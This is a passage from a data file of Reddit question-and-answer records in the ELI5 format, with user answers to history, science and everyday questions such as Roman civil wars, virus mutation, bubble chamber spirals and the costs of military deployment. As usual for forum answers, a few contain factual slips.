["https://irl.cs.ucla.edu/papers/right-size.html"], [], [], [], ["https://en.m.wikipedia.org/wiki/Koch_snowflake"]]}
{"q_id": "6n4o4i", "title": "In the game \"Rome Total War: Barbarian Invasion\", if you play as one-half of the Roman Empire you are eventually attacked by the other half. Historically, did the Eastern and Western empires ever go to war?", "selftext": "[deleted]", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6n4o4i/in_the_game_rome_total_war_barbarian_invasion_if/", "answers": {"a_id": ["dk70oib", "dk7fsfr"], "score": [30, 11], "text": ["By halves I am going to assume this is referring to the administrative split of the Roman Empire into East and West performed by the Emperor Theodosius I in 395 AD (at his death). \n\nWhile the two halves of the Empire after 395 AD increasingly went separate ways politically, they still largely thought of themselves as part of a greater whole. There was certainly rivalry between Emperors and generals from the two halves but nothing that came to full scale conflict. In fact, the Eastern Roman Empire (ERE) provided military assistance to the Western Roman Empire (WRE) as late as 467/468 AD during the disastrous invasion of Vandalic Carthage/Libya. The WRE would officially cease to exist in 476 AD. \n\nThe closest the WRE and ERE came to blows was during a rather complicated time period where Flavius Stilicho, the highest ranking general in the west, attempted to use the Visigoths and their king Alaric to threaten the ERE over territory in Illyricum. Stilicho didn't live long enough to follow through on this and his end goals/plans for Alaric and the Visigoths are not entirely clear. \n\n**Edit** thanks /u/Guckfuchs for correcting me, I had completely forgot about the succession crisis after Honorius' death. The Eastern Emperor Theodosius II did send an army to remove Johannes (John) from the Western Throne and installed Valentinian III, his cousin. It is an important and interesting point to note that Theodosius bothered naming a new Emperor in the West, rather than simply claiming sole control over the entire Roman Empire. \n\n*History of the Wars* Procopius\n\n*Historia Nova* Zosimus", "I\u2019d like to add a small correction to u/mrleopards \u2018 and u/WispyWalrus \u2018 accounts. There was at least one instance of armed conflict between the two halves of the empire after 395 AD. In August 423 AD the western emperor Honorius died. Throughout his reign there had been several moments when both halves of the empire nearly came to blows even though the east had been ruled first by his brother Arcadius and then his nephew Theodosius II. Honorius himself had never much control over governance. Instead the west was ruled by powerful military figures like Stilicho and later Flavius Constantius. The later even rose to co-emperor in the west. Both men seem to have been close to starting a war with the east at times but both also died before anything could come about. And it had always been Honorius who had guaranteed the legitimacy of the western government as he was a member of the dynasty that had been ruling both parts of the Roman Empire for more than half a century. \n\nSo when he finally died in 423 AD that posed something of a problem for the western elites: they didn\u2019t have any members of the Valentinian-Theodosian family left which could have ascended to the throne. After a few months of negotiations they agreed to elevate a senior civil servant, the *primicerius notariorum* Johannes, who became emperor in November of the same year. He had the support of powerful generals like the *cura palatii* Aetius. Others however were much colder towards him and so his control over the west was sketchy at best. The most important opposition towards Johannes came from the east. The court of emperor Theodosius II wasn\u2019t thrilled to see the western throne pass to someone who wasn\u2019t part of the dynasty. Johannes and his supporters certainly hoped to come to an agreement with Constantinople but when Theodosius elevated his cousin Valentinian III to the purple in October 424 AD it became clear that civil war was inevitable.\n\nValentinian who was just a five year old boy at the time was the son of Galla Placidia, the half-sister of Honorius and Arcadius. She had been an influential figure at the western court until court intrigues had forced her to relocate to Constantinople in 422. Now she and her son returned to the west at the head of an East Roman army commanded by the general Ardaburius. After some initial successes disaster struck in the form of a storm that hid the East Roman navy. Ardaburius himself was captured and taken prisoner at Ravenna. However his son Aspar who had been in command of the cavalry and was leading them into Italy by land could again change the fortunes of war. He was able to take Ravenna, free his father and deliver Johannes to Galla Placidia and Valentinian III at Aquileia. When Aetius arrived in Italy with a substantial contingent of Hunnic soldiers his emperor had already been executed and the civil war was effectively over. Aetius was able to come to an agreement with the new regime and would later rise to become the dominant military figure in the west. The hero of the war, Aspar, achieved a similar ascent in the east.\n\nThere are some famous late antique monuments that are connected to this rather short civil war. At Ravenna Galla Placidia founded the church of San Giovanni Evangelista. The mosaic decoration of its apse is unfortunately lost but according to an early medieval source it commemorated Placidia\u2019s miraculous rescue from the storm that had hit the eastern army. It also featured several portraits of members of her family, the dynasty who\u2019s rule over the west had been restored in 425. In the east it is possible that the Golden Gate, the huge marble main entry into Constantinople, was also constructed to commemorate victory in this civil war. It was originally topped by a bronze statue of Theodosius riding a chariot drawn by four elephants. Although the emperor had never left his capital throughout the events he was seemingly still able to propagate himself as the true victor of the war.\n\nFinally, to echo u/shlin28 here: It is important to remember that those events as well as similar wars that preceded them shouldn't be seen as conflicts between two distinct states but as civil wars over the leadership in one unified empire. Theodosius and his generals weren\u2019t fighting an enemy state but a usurper who had deprived his family of its right to rule both halves of the empire."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2lqygw", "title": "How long could humans survive on board the International Space Station if they stopped receiving supplies from earth?", "selftext": "Curious how long their water, food, oxygen, etc. would last them?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2lqygw/how_long_could_humans_survive_on_board_the/", "answers": {"a_id": ["clxrfuj", "clxsvai", "clxtcmr"], "score": [32, 8, 9], "text": ["Shortly after the resupply rocket exploded 2 weeks ago I read an article that quoted someone at NASA saying the astronauts were in no danger and that they had supplies on board to last 3 months. If I can find the source I'll post it.", "At the press conference after Orbital Sciences' whoops moment NASA [said](_URL_0_) the ISS is good to go until March 2015, and another resupply mission will set out on December 9 via SpaceX.", "_URL_0_\n\nIt varies. They get frequent resupplies of about a hundred day's food, but they've been pretty close to running out several times. Down to a week or two's worth of food.\n\n_URL_1_\n\nYou can monitor their recycling systems for water and oxygen here live."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.theregister.co.uk/2014/10/29/antares_rocket_blowout_will_cost_orbital_sciences_and_nasa_at_least_200m/"], ["http://www.space.com/590-iss-crew-counts-calories-food-supply-runs.html", "http://spacestationlive.nasa.gov/displays/ethosDisplay3.html"]]}
{"q_id": "w2srd", "title": "Are imaginary and complex electric charges possible?", "selftext": "Charge as I understand it works like a number system; with increasingly positive charges on one end of the numberline and increasingly negative charges on the other end. However, when you think of charges as numbers you have to ask about imaginary and complex numbers. Could a particle have a charge of i?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/w2srd/are_imaginary_and_complex_electric_charges/", "answers": {"a_id": ["c59r2r7", "c59r2xb", "c59r8v9", "c59r93w", "c59u5zs", "c59whvg"], "score": [5, 2, 12, 2, 2, 2], "text": ["You would need to define what a charge of \"i\" means. In Electrical Engineering we use imaginary numbers a lot, even for current (rate of change of charge) but that is because we need a way to convey both magnitude and phase.", "Charge is a physical property while imaginary numbers are an abstract numeric property. \n\nWhile complex numbers are [useful in electrical engineering and Signal analysis](_URL_0_) when doing calculations involving sine waves / alternating current, a physical property like charge can't be complex itself, it would be like having a mass of 2i kg.\n\nI'm curious what got you thinking about it?", "You can develop a theory of electromagnetics where imaginary numbers are used to represent magnetic charge.  The math comes out surprisingly cleanly.  In fact, Maxwell's Equations are invariant under rotation in the (q_e, q_m) plane - which is both surprising and cool, and unsurprising and boring, depending on how familiar you are with deep particle physics and the ties between symmetry and physical law -- and on how blas\u00e9 you are about finding surprising symmetries in nature.\n\nGiven that symmetry (of Maxwell's Equations, between electric and magnetic charge) it's somewhat surprising that all the observed charge in the Universe happens to lie on a single line on that plane.  ([There may be exceptions, but if so they are exceedingly rare](_URL_0_)).\n\n", "Imaginary and complex numbers are just repesentation. If you think about it, there isn't such thing as \"negative\" numbers in nature either, but it is extremely usefull, and quite intuitive to use when describing things. Complex numbers are very usefull too, just not so intuitive to see.", "In quantum electrodynamics, charge is an eigenvalue of a hermitian operator, so no, it can't be complex. Eigenvalues of hermitian operators are always real.\n\nIf you go beyond QED, well then, maybe.", "Imaginary numbers are a convenient way of expressing an orthogonal basis.  It is a mathematical construct.  When you solve the closed form differential equations for capacitor discharge, imaginary numbers almost always arise, because there is almost always some oscillating transience involved.  Does that count?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Complex_number#Applications"], ["http://en.wikipedia.org/wiki/Blas_Cabrera"], [], [], []]}
{"q_id": "413diu", "title": "does the case of warren vs d.c. boil down to the police not having a duty to protect us?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/413diu/eli5_does_the_case_of_warren_vs_dc_boil_down_to/", "answers": {"a_id": ["cyz88mw", "cyz8dz3"], "score": [24, 10], "text": ["They don't have a duty to provide services to individuals. So if the police fail to respond to your call, or don't prioritize properly...there's nothing you can sue for. Their duty is to the public at large, and there's no duty to respond to you specifically.\n\nIn practice that means if you call multiple times because someone is invading your home and the police never show up, you can't sue the police for failing to respond.", "No. The decision states that you as an individual don't have the right to sue for the failure of the police to protect you. They still have a duty to protect the public, but it's the public at large and not an individual. e.g. If the cops do nothing about a crime committed against you, you're SOL.\n\nOn one hand I can see the point of it as it protects the police from frivolous lawsuits if cops do not get there in time to stop a crime in progress, but this particular case is all sorts of bullshit and failures. It's certainly a doctrine that needs to be reconsidered for such gross negligence when it can be proven.\n\nAlso interesting of note, in most cases it's a crime in most states to refuse to render aid to a police officer when commanded. Creates a nice little double standard."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2v0ooq", "title": "What causes the spirals in bubble chambers?", "selftext": "Why do spirals form in bubble chambers? I understand why charged particles would be *deflected* in a magnetic or electric field but if they're moving in a spiral, they must be travelling both along and against the field during its movement. What causes particles to create spiral traces rather than simply being attracted to one side?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2v0ooq/what_causes_the_spirals_in_bubble_chambers/", "answers": {"a_id": ["codfa7j"], "score": [6], "text": ["A magnetic field **B** exerts a force **F** on an electrically charged free particle with charge *q* and velocity **v** according to the Lorentz force law:\n\n**F** = *q* **v** x **B**\n\nThe cross product means that the magnetic force on a moving charged particle is always perpendicular to its direction of motion. The force generates a sideways acceleration, causing the particle to deflect sideways. But once deflected a little bit sideways, the particle is now traveling in a different direction, and therefore experience a magnetic force that is sideways relative to its *new* direction of motion. This causes the particle to deflect again. This process repeats and the particle continually deflects, tracing out a circular trajectory. If the particle steadily loses kinetic energy to friction, the magnitude of v changes over time, and the force changes over time. In this case, the particle traces out a spiral rather than a circle.\n\nAccording to Newton's law, **F** = *m* **a**, so that we have:\n\n**a** = (*q*/*m*)**v** x **B**\n\nTherefore, if we know the magnetic field, the velocity, and the acceleration (as deduced from the size of the spiral trajectory), we can find the charge to mass ratio of the particle and thereby identify the particle. Magnetic fields are intentionally applied to bubble chambers to help researchers identify particles."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "frkvaa", "title": "Why do some viruses, such as influenza, quickly mutate (thus require different vaccinations annually), but other viruses, such as smallpox seem to barely mutate at all (or at least much more slowly)?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/frkvaa/why_do_some_viruses_such_as_influenza_quickly/", "answers": {"a_id": ["flz18v1", "flwmbp3", "flwt42x", "flx2ftb", "flxicbu", "fly0zay", "flyb9gz"], "score": [4, 4608, 459, 411, 28, 10, 7], "text": ["One reason is due to the structural biology.\n\nStudies  have compared why vaccines are long lasting against measles, but not influenza.  \n\nBoth measles and influenza are spherical viruses expressing hemagglutinin proteins on their capsid surfaces.  The H proteins are rather shaped like a stalk of broccoli, with the stalk at the viral membrane and the bunchy part exposed where antibodies can recognize it.\n\nInsertional mutagenesis studies, where 15 nucleotides are inserted into various parts of the hemagluttinin \u201cbroccoli\u201d, show that influenza virus is very tolerant on the extra corresponding 5 amino acids compared to measles, especially in the bunchy region that is most available to targeting antibodies.  Viral outgrowth assays show influenza is able to infect and proliferate just fine with inserted mutations (and evade the antibody immune response) while measles virus does not tolerate insertions; thus part of the reason why the measles vaccine has been so long-lasting, but the influenza vaccine is much shorter lived.", "One reason why is that viruses like corona and influenza are single stranded RNA viruses and small pox is a double stranded DNA virus. \n\nIf you have a single stranded genome, there is no repair mechanism and mutations occur much more frequently.", "You say \u201cviruses like influenza\u201d, but in fact it\u2019s not viruses *like* influenza, it\u2019s *only* influenza that does this. Influenza is unique in the virus world in its ability to evolve to avoid population immunity. Technically, influenza doesn\u2019t mutate fast than other RNA viruses, but its surface proteins are more tolerant of mutations than other viruses are. See my answer in [Why of some viruses mutate faster than others](_URL_2_) for details and references. \n\nIf you think about the vast majority of viral vaccines (measles, mumps, rubella, Yellow Fever, polio, etc etc etc) they do *not* need to be updated annually. Even RNA viruses like measles and polio are antigenically very stable, in spite of having mutation rates that are very similar to influenza\u2019s, and they haven\u2019t needed to have their vaccines updated in the decades since they were introduced.\n\nThe question didn\u2019t specifically ask about SARS-CoV-2, but since the other answers immediately turned to it ... Coronaviruses in general have slightly slower mutation rates than influenza, but they\u2019re still very high. However, while they can and do readily accumulate mutations ([_URL_1_](_URL_0_) shows hundreds of mutations that the virus has made over the past few months) the default assumption - for good reasons - is that these mutations are neutral and don\u2019t affect the virus function or antigenicity. \n\nIf we look at the four endemic human coronaviruses, they show some signs of slow antigenic change, which hints that coronaviruses *might* be able to tolerate *some* changes in their proteins, but clearly not to anywhere near the extent of influenza.  If we have to guess (and without data it\u2019s mainly a guess) it seems likely that a vaccine against SARS-CoV-2 will be effective for many years, perhaps 5-10 years, before the virus drifts enough that it might need an update. Maybe not quite as good as measles, but hopefully much better than influenza.", "Two things about influenza. First it is an RNA virus (compared to DNA viruses). RNA viruses are more error prone when they replicate so they generate mutations faster. \n\nSecond, unlike most viruses, it\u2019s genome is segmented, that is its genome isn\u2019t a single strand, but it\u2019s genes come on different strands. If it coinfects a host with another flu strain they can exchange genes easily, creating another source of variability/mutation. \n\nIn this way human flu can gain characteristics of avian flu, for example, crating a virus humans haven\u2019t gained any immunity to yet.", "The reason is because influenza has what is known as an \"error prone polymerase\".  Influenza's genome is made of RNA, not DNA, and it comes with instructions for copying it's own genome.  That comes in the form of RNA that makes a protein called \"RNA Polymerase\".  The RNA polymerase in influenza makes way more mistakes at copying RNA than our polymerase does, which leads to lots of mutations.  \n\nYou might think that in order to do that, it would be best if influenza didn't make a lot of mistakes in copying it's genome.  A lot of mistakes means that there are a lot of mutant virus particles produced that are total duds and can't generate a new infection.  But some of the copies of the virus have a mutated version in a surface protein.  \"H1\", in fact, is the name of one of the surface proteins. If that mutation causes the surface protein to have a slightly different shape, it might be enough to help that virus escape our immune system.\n\n & #x200B;\n\nIt seems that SARS-CoV2 does NOT have an error prone polymerase.", "Reassortment. Some viruses have multiple genomic parts, especially RNA viruses. Influenza segments dont evolve and mutate more rapidly, but since there are eight genomic segment strands, these can recombine in new ways. So you can get an avian HA with a pig NA with a human PA, or  < evil chord >  the Triple Reassortant. Now you have bits of virus present from three different source species, and if they work, maybe they brought in a completely new antigen to the human species experience. The ones on the outside of the virus change at a different rate than the ones in the inside, since they face host pressure differently.\n\nPolyproteins. Now lets say all your virus proteins are in one genomic strand, and all the coding regions are jammed together, in a polyprotein, like for Hepatitis C. Instead of like flu, you have all your eggs in one basket, and cant change one protein without impact the whole strain. Then the whole thing is locked together. Flavivirus doesnt evolve rapidaly at all. Almost all the outbreak strains from the last west african pandemic are 99% conserved and alike one another.\n\nSo when you talk of evolution, you can talk about mutation rate, or site subsitution rate more accurately. Or just about one protein or one site. Some substitutions are silent. And, the end result is always important- whether the Strain is itself different. Different parts change at different rates. I think what you are asking is about the strain change rate. \n\nA lot of change rates contribute to that.", "DNA viruses are more stable than RNA viruses and thus don't mutate as frequently. Especially if the DNA virus is dsDNA (double stranded). This will allow for repairing of one strand and thus reduce mutations. This is the case for HIV. If you have an ssRNA (single stranded) virus, then it is MUCH more likely to mutate as they aren't as stable as DNA and dont really have a good repair mechanism.\n\n3 outcomes of mutations: \n\n1. Virus become less virulent (good)\n2. Nothing happens\n3. Virus becomes more virulent (bad)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://nextstrain.org/ncov", "NextStrain.com", "https://www.reddit.com/r/askscience/comments/fjk2of/why_do_some_viruses_mutate_faster_than_others_eg/"], [], [], [], []]}
{"q_id": "274jel", "title": "Why can't I apply Kirchhoff's second rule when analyzing LR circuits?", "selftext": "I am in the process of watching Professor Walter Lewin's MIT lectures on Electricity and Magnetism.\n\nIn [Lecture 20](_URL_0_), during the first fifteen minutes, Prof. Lewin criticized many textbook authors for misapplying Kirchhoff's rule when analyzing LR circuits, and clarified that Faraday's Law should be used instead. My study partner insisted that Prof. Lewin was wrong, and that Kirchhoff's rule applied in this case because the inductance came from within the circuit itself.\n\nI would really appreciate it if anyone here could help me understand whether Kirchhoff's rule is applicable here. If not, why? Is Prof. Lewin right, or are those textbook authors right? Are there any sources you would recommend to me?\n\nThank you in advance for all your help!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/274jel/why_cant_i_apply_kirchhoffs_second_rule_when/", "answers": {"a_id": ["chxcnre"], "score": [13], "text": ["Kirchhoff's rule somewhat requires us to invent additional notions that aren't necessarily intuitive to the elements in the circuit. Namely the voltage rise/drop across an inductor. Surely we can define one, as it can absorb or donate energy to the electrons moving through the inductor, but it's a bit more like forcing the element to fit the model. \n\nOf course two schools of thought always exist. One is that you should do things conceptually correct (Seemingly Lewin's position, though I can't watch the video). The other is that if the maths give you the right answer, then it's good enough (your study partner). \n\nThe best answer of course is: use the tool that fits the problem you're trying to solve. If you want to understand the fundamentals of what's happening in a circuit as a learning exercise, I agree with Lewin. If you're trying to calculate what a circuit's going to *do*, not caring too much about what is physically going on, then use Kirchhoff. \n\n(\\^my opinions, other physicists/engineers may disagree. I certainly hope I'm not too incorrect here though, it has been some time since I taught this stuff)"]}, "title_urls": [], "selftext_urls": ["http://ocw.mit.edu/courses/physics/8-02-electricity-and-magnetism-spring-2002/video-lectures/lecture-20-inductance-and-rl-circuit/"], "answers_urls": [[]]}
{"q_id": "1tpv9g", "title": "What is the most efficient motion to evenly mix a bottle of liquid by hand?", "selftext": "If I pour some liquid into a bottle of another liquid, how should I shake the bottle to mix them evenly? Shake up and down? Swish the liquid all around? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1tpv9g/what_is_the_most_efficient_motion_to_evenly_mix_a/", "answers": {"a_id": ["ceae6wq"], "score": [4], "text": ["Any motion which causes agitation and cavitation or otherwise displaces the liquid relative to the rest of it. It depends on the shape, size, and vacancies in whatever container you have. If you try to shake a bottle that is almost entirely full of liquid, there is no volume to agitate the liquid efficiently. \nWhen you shake a bottle, all the molecules will *sort of* move in the same relative direction. The best way to counter this, and mix it, is to shake along the path parallel to the most vacant space. For a regular bottle being held upright, that would be up and down. This allows for brief cavitation of the liquid inside causing the most change in individual particles direction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9yzvsx", "title": "why does it cost millions of dollars for the us government to do certain things. for instance it\u2019s supposed to cost 72 million for the deployment of the military at the boarder. aren\u2019t those soldiers on salary, the barb wire fence doesn\u2019t cost millions. so why are millions spent?", "selftext": "border*", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9yzvsx/eli5_why_does_it_cost_millions_of_dollars_for_the/", "answers": {"a_id": ["ea5c5o9", "ea5cdbw", "ea5djum", "ea5dmqa", "ea5dx27", "ea5k32a", "ea5u9yu"], "score": [9, 5, 4, 5, 7, 6, 2], "text": ["Typically, they are counting the salaries for the soldiers. It's a misleading calculation since, of course, the soldiers were going to get paid anyway.", "They must factor in all the moving parts + logistics. Imagine all the intelligence that goes into surveillance. ", "Soldiers that are deployed have huge costs.  All the transport, fuel, cost of housing, cost of transporting and supplying them on the move and while deployed.  A long logistics train is used to keep a single soldier in the field.  An old rating I heard is it takes 10 support personnel to keep one soldier in the field.\n\nThink what it cost you to go on a simple road trip or modest vacation.  Multiply that by thousands of people and huge numbers of specialized vehicles, supplies, weapons, construction equipment etc.  Think of the extra wear and tear and maintenance, think of all the disrupted training schedules, maintenance schedules, cancelled leaves, etc.\n\nThink of redirecting all the communications and mail to those soldiers from their base to their deployed positions.  \n\nYou are basically moving a small town to a new location and shipping everything it requires to its new location and then shipping supplies from depots to the new location.  And when the deployment is over you have to move everyone and everything back and deal with sorting it all out.\n\nMy simple math on moving and housing 5000 people is as follows.  5000 people need food, transport, and housing for 42 days.  Figure it takes $300 a day per person.  Simple math:  5000 people x $300 a day x 42 days = 63,000,000.  So the 72 million number may or may not be inflated, but it seems relatively close to me for an army on the move.", "It's more expensive to build and supply temporary camps along the border than it is to have the soldiers stay in their normal, already constructed bases.", "A 14E PATRIOT soldier here.  For one of my old PATRIOT batteries to go to the FTX or field exercise, it cost $100k:\n\n\\*fuel, oil and lubrication\n\n\\*food\n\n\\*medical supplies\n\n\\*spare parts\n\nthe cost goes up when live ammo is used. A \"live fire\" of a missile cost over $2 Million dollars.\n\n & #x200B;\n\nSo you have troops at the border.  They need shelter, food, basic services (medical, mail, etc).  The trucks need fuel, trucks that are NOT under the CAFE fuel standards.  Generators need fuel for heaters, radios, the field kitchens etc.\n\nThe fences and barbed wire?  Those come from stocks and those stocks need to be replenished. \n\n & #x200B;\n\nAdd in the soldier's salaries and yeah I can see the 27 million.", "If you send one person down to the border to get a job done, you pay him. And book him into a hotel. And rent him a car. And arrange for someone to meet him and give him an idea of what it is that needs to be done.\n\nWhen you send 5000 people, you pretty much do the same thing. But on a much larger scale.\n\nThe only real difference is that you don't send him with a regular flight. You send him in your own airplane, among a few hundred others. That airplane goes back and forth for a few days.\n\nAnd when he gets there, you have already sent a few vehicles there in advance. With mechanics, because with that amount of vehicles, shit will break down in a pretty constant flow.\n\nAnd you don't bother with hotels. Because you have your own mobile living quarters that some people have been spending a week or two setting up in neat rows before you arrive. And you have built your own restaurant and sent your own cooks down there to set them up.\n\nAnd you have your own hospital. And your own grocery stores.\n\nYou have, literally, built a self-sufficient city for 5000 people *with* 5000 people. That city is supposed to function by itself. You literally bring people who's sole job it is to drive off with trucks every day to fetch fuel and food.\n\nIn other words, if they send 5000 soldiers, they'll send at least a few hundred others who's job it is to make it easier for the actual fire-arm-holding soldiers to do their job. And that cost stacks up too. (in reality, though, if they send 5000 men and women to the border, around 4600 of them are actually doing what they are there to do. The others do things that has to be done for that main goal to continue to happen for more than a day or two. No-one is keen enough on doing the governments bidding to do it on an empty stomach. Not for long, anyway.)", "Soldiers are salaried, it\u2019s the logistical part that costs the money.  Transport, barracking, food and support etc is where the money is.  \n\nHowever as in any government planning.  Salaries are always included to either inflate how good they are (we are spending this much to do this for you - aren\u2019t we lovely) or to denigrate by the opposition (you spent how much? You should have put funds here instead)\n\nIn essence governments generally think their people are not savvy. In most cases they are correct- sad but true"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "vmyn4", "title": "balancing your checkbook", "selftext": "I think i was too young when this kind of thing was a necessity; but with online banking services do people still do this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/vmyn4/eli5_balancing_your_checkbook/", "answers": {"a_id": ["c55vjwk", "c55w6mk", "c55wpq6"], "score": [2, 4, 2], "text": ["Very rarely. Mainly seniors who are terrified of computers.", "Yes.  Looking online only isn't really very smart.  Some companies take a while to process transactions or to settle the tip amount you write into a restaurant bill.  If you do a lot of transactions, you might miss an error and the checkbook can be helpful to find that error.\n\nMailing checks for bills can also give you some extra time to get the money into the bank.", "Balancing involves calculating the remaining balance, not using \"balance\" as a verb to try and shift things around tetris-style. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1e37tj", "title": "What is it called when this.. weird bulge thing happens to a tree? (And what causes it to happen?)", "selftext": "I was riding down a trail yesterday and I saw something unlike anything I'd ever seen before, so I took a couple of pictures with my phone:\n\n_URL_0_\n\nWhat exactly is going on here? (geographical region is west Michigan, if that's somehow relevant)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1e37tj/what_is_it_called_when_this_weird_bulge_thing/", "answers": {"a_id": ["c9wd4ky", "c9wd8ar"], "score": [2, 3], "text": ["It's a type of gall.  I know some are caused by insects burrowing into the plant and the way the plant reacts to it, creating a place the insect can do it's thing.", "This is called a burl : _URL_0_\n\nFrom the article:\n\"A burl (American English) or bur or burr (used in all non-US English speaking countries) is a tree growth in which the grain has grown in a deformed manner. It is commonly found in the form of a rounded outgrowth on a tree trunk or branch that is filled with small knots from dormant buds.\"\n\nand:\n\"A burl results from a tree undergoing some form of stress. It may be caused by an injury, virus or fungus. Most burls grow beneath the ground, attached to the roots as a type of malignancy that is generally not discovered until the tree dies or falls over. Such burls sometimes appear as groups of bulbous protrusions connected by a system of rope-like roots. Almost all burl wood is covered by bark, even if it is underground. Insect infestation and certain types of mold infestation are the most common causes of this condition.\""]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/RFUCb#0"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Burl"]]}
{"q_id": "lboew", "title": "stanley kubrick's \"eyes wide shut\"", "selftext": "If ELI5 doesn't mind, I might start asking a lot of film questions.. is there another subreddit for this kind of thing? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/lboew/eli5_stanley_kubricks_eyes_wide_shut/", "answers": {"a_id": ["c2rk06q", "c2rk06q"], "score": [5, 5], "text": ["Maybe you should start with what was confusing for you. The story is pretty straightforward. Basically it's about temptation, and a man and wife learning about the devils living in each other. \n\nBut here's my analytical stab: Conflict begins with when the wife confesses a fantasy that betrays her temptation for infidelity, so the husband retaliates by experimenting with his own dark fantasies of betrayal. He gets in over his head and remits. But then we get the curveball, it's 3rd act and instead of resolving his mistakes with a confession to his wife, she cuts him off with another confession of her own. While he was flirting with the devil on his shoulder, her subconscious devil had gotten out of hand as well, and we find *her* sobbing with guilt instead of him. Suddenly his betrayal doesn't eclipse hers, they are both guilty and the resolution that finally comes is a tacit acceptance of the devils that live in each other, mutual respect for one anothers' relative guilt.\n\nThat curveball 3rd act, and the intense Kubrick pacing (glacial) make this movie hard to sit through for a lot of people. There was also the matter of audiences trying to reconcile the exquisite nudity on screen with the blatant exploitation in the plot. Kubrick made the audience feel guilty for admiring beauty, and it worked so well people could scarcely enjoy the film.\n\nedit: also, /r/movies isn't a terrible place to post, but a lot of content there is upvoting actors' birthdays or making fun of trailers.", "Maybe you should start with what was confusing for you. The story is pretty straightforward. Basically it's about temptation, and a man and wife learning about the devils living in each other. \n\nBut here's my analytical stab: Conflict begins with when the wife confesses a fantasy that betrays her temptation for infidelity, so the husband retaliates by experimenting with his own dark fantasies of betrayal. He gets in over his head and remits. But then we get the curveball, it's 3rd act and instead of resolving his mistakes with a confession to his wife, she cuts him off with another confession of her own. While he was flirting with the devil on his shoulder, her subconscious devil had gotten out of hand as well, and we find *her* sobbing with guilt instead of him. Suddenly his betrayal doesn't eclipse hers, they are both guilty and the resolution that finally comes is a tacit acceptance of the devils that live in each other, mutual respect for one anothers' relative guilt.\n\nThat curveball 3rd act, and the intense Kubrick pacing (glacial) make this movie hard to sit through for a lot of people. There was also the matter of audiences trying to reconcile the exquisite nudity on screen with the blatant exploitation in the plot. Kubrick made the audience feel guilty for admiring beauty, and it worked so well people could scarcely enjoy the film.\n\nedit: also, /r/movies isn't a terrible place to post, but a lot of content there is upvoting actors' birthdays or making fun of trailers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2y82lk", "title": "if my cat was larger than me, would it try to eat me like a lion?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2y82lk/eli5_if_my_cat_was_larger_than_me_would_it_try_to/", "answers": {"a_id": ["cp73t7m", "cp73u8e", "cp73zxn", "cp74zb2", "cp751av"], "score": [2, 6, 4, 2, 2], "text": ["If the animal is hungry they almost all will .. If you had a cat that was human sized we probably wouldn't have domesticated it to be a pet lol ", "Cats are jerks so probably. But really, part of domesticating an animal is making them more docile and friendly towards humans, especially ones they know from a young age. So YOUR cat probably wouldn't kill you given the chance, but someone else's might. That said, once your pulse stops your cat would chow down, cats eating their recently deceased owners is pretty common.\n", "A lion wouldn't try to eat you.\n\nIt would only attack you\n\n* If it was truly starving and had no other options\n* If you posed a threat to it and/or it's pride", "It would probably not attack you with the intention of eating you, but that doesn't mean it would be safe. Ever had a cat jump out and attack your feet while playing? Imagine that, lion-sized.", "A cat basically sees you as a gigantic can opener. As long as the cans keep coming, it has no reason to try to eat you (a human looks quite intimidating even to a lion, because of our height), but if it were starving it might."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1b6gys", "title": "Why did the Americans choose the British system of government for the Japanese, instead of the American system? ", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1b6gys/why_did_the_americans_choose_the_british_system/", "answers": {"a_id": ["c942cid", "c942cii", "c942eed", "c942fpq", "c942vau"], "score": [35, 8, 35, 264, 4], "text": ["Japan is a constitutional monarchy where the Emperor is the head of state, although he is a ceremonial figurehead. To have a president would be to remove the ceremonial head of state status of the Emperor.\n\nOf all the constitutional monarchies in the world, only the United Arab Emirates, which is a federation of monarchies, has a president. The functions of head of state and head of government are split between the monarch of Abu Dhabi and the monarch of Dubai, respectively.", "Maybe I'm misunderstanding your question, but at what time would the U.S. \"choose\" Japan's system of government?  I'm assuming you mean during the postwar occupation?  Japan had a parliamentary system dating back to the [19th century.] (_URL_0_)   For the purpose of stability, it was natural for the US to guide Japan towards a liberalized version of its existing parliamentary system.  ", "The US has traditionally encouraged parliamentary systems in new democracies, as the American system features a stronger executive. It was feared that a country without experience in democratic institutions would backslide into dictatorship, so undue concentrations of power in one person or office were to be avoided. ", "The Constitutional reforms enacted by the American occupation were not a wholesale rewriting of the prior Japanese constition. Rather they were revisions to the pre-existing 